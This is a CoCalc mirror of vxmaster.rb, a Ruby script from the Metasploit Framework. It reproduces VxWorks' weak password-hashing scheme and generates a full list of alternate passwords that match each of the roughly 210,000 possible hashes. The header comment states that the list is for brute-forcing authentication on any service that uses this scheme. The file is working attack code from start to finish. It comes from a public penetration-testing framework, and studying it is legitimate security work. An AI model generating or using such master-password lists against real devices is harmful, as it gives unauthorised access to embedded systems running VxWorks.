CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/tools/password/vxmaster.rb
Views: 1904
1
#!/usr/bin/env ruby
2
3
#
4
# This script calculates all possible password hashes for the vxworks platform.
5
# The generated list can be used to bruteforce authentication to any service
6
# using the vulnerable password hashing mechanism on the backend.
7
#
8
# (C) 2010 Rapid7
9
#
10
11
#
12
# VxWorks converts the clear-text password into single integer value. This value
13
# can only be one of about 210,000 possible options. The method below emulates
14
# what the vxencrypt utility does and was implemented based on publicly indexed
15
# documentation and source code snippets.
16
#
17
18
#
19
# XXX: Newer VxWorks can use passwords up to 120 characters long, but this is
20
# not very common in the wild.
21
#
22
23
def vxworks_sum_from_pass(pass)
24
if pass.length < 8 or pass.length > 40
25
raise RuntimeError, "too short or too long"
26
end
27
28
sum = 0
29
bytes = pass.unpack("C*")
30
bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) }
31
sum
32
end
33
34
# VxWorks does a final round of "mangling" on the generated additive sum. This
35
# mangle process does not add any additional security to the hashing mechanism
36
def vxworks_hash_from_sum(sum)
37
magic = 31695317
38
res = ((sum * magic) & 0xffffffff).to_s
39
res.unpack("C*").map{ |c|
40
c += 0x21 if c < 0x33
41
c += 0x2f if c < 0x37
42
c += 0x42 if c < 0x39
43
c
44
}.pack("C*")
45
end
46
47
# This method tries to find an exact match for a given sum. This is inefficient,
48
# but the master password only needs to be precomputed once.
49
def vxworks_pass_from_sum_refine(sum, bsum, pass)
50
0.upto(pass.length-1) do |i|
51
tpass = pass.dup
52
while ( tpass[i, 1].unpack("C*")[0] > 0x21 )
53
tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C")
54
bsum = vxworks_sum_from_pass(tpass)
55
if bsum == sum
56
return tpass
57
end
58
end
59
end
60
0.upto(pass.length-1) do |i|
61
tpass = pass.dup
62
while ( tpass[i, 1].unpack("C*")[0] < 0x7c )
63
tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C")
64
bsum = vxworks_sum_from_pass(tpass)
65
if bsum == sum
66
return tpass
67
end
68
end
69
end
70
"<failed>"
71
end
72
73
# This method locates a "workalike" password that matches a given
74
# intermediate additive sum value.
75
def vxworks_pass_from_sum(sum, lpass=nil)
76
opass = lpass || "\x20" * 8
77
pass = opass.dup
78
fmax = (sum > 10000) ? 0xff : 0x7b
79
pidx = 0
80
pcnt = pass[0,1].unpack("C*")[0]
81
more = false
82
83
bsum = vxworks_sum_from_pass(pass)
84
if bsum > sum
85
return "<invalid>"
86
end
87
88
while bsum != sum
89
90
if bsum > sum
91
return vxworks_pass_from_sum_refine(sum, bsum, pass)
92
end
93
94
if pcnt > fmax
95
pidx += 1
96
97
if pidx == (pass.length)
98
pass += " "
99
end
100
pcnt = pass[pidx, 1].unpack("C")[0]
101
end
102
103
pass[pidx,1] = [ pcnt ].pack("C")
104
bsum = vxworks_sum_from_pass(pass)
105
pcnt += 1
106
end
107
pass
108
end
109
110
outputfile = ARGV.shift() || "masterpasswords.txt"
111
112
# Create the master password list output file
113
ofd = File.open(outputfile, "wb")
114
115
# Generate a wide range of "seeds" - the goal is to create a
116
# workalike password with the smallest number of characters,
117
# but still be printable when possible.
118
119
seedsets = []
120
121
seeds = []
122
8.upto(8) do |slen|
123
0x23.upto(0x7c) do |cset|
124
sbase = [cset].pack("C") * slen
125
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
126
end
127
end
128
seedsets << seeds
129
130
seeds = []
131
8.upto(12) do |slen|
132
0x23.upto(0x7c) do |cset|
133
sbase = [cset].pack("C") * slen
134
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
135
end
136
end
137
seedsets << seeds
138
139
seeds = []
140
8.upto(16) do |slen|
141
0x23.upto(0xf0) do |cset|
142
sbase = [cset].pack("C") * slen
143
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
144
end
145
end
146
seedsets << seeds
147
148
seeds = []
149
8.upto(16) do |slen|
150
0x23.upto(0xff) do |cset|
151
sbase = [cset].pack("C") * slen
152
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
153
end
154
end
155
seedsets << seeds
156
157
seeds = []
158
8.upto(40) do |slen|
159
0x23.upto(0xff) do |cset|
160
sbase = [cset].pack("C") * slen
161
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
162
end
163
end
164
seedsets << seeds
165
166
# Calculate passwords and their hashes for all possible outputs
167
1.upto(209656) do |i|
168
found = false
169
seedsets.each do |seeds|
170
lhash = nil
171
seeds.reverse.each do |s|
172
if i > (s[0] + 1000)
173
lhash = s[1]
174
break
175
end
176
end
177
178
hash = vxworks_hash_from_sum(i)
179
pass = vxworks_pass_from_sum(i, lhash)
180
181
puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0)
182
# The first 1187 passwords are not very likely to occur and we skip
183
# generation. These are "sums" that result in a value lesss than a
184
# 8 digit password of all spaces.
185
186
if i > 1187 and pass =~ /<.*>/
187
# p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'"
188
next
189
end
190
ofd.puts "#{i}|#{hash}|#{pass}\x00"
191
found = true
192
break
193
end
194
195
if not found
196
puts "FAILED TO GENERATE #{i}"
197
exit(0)
198
end
199
end
200
201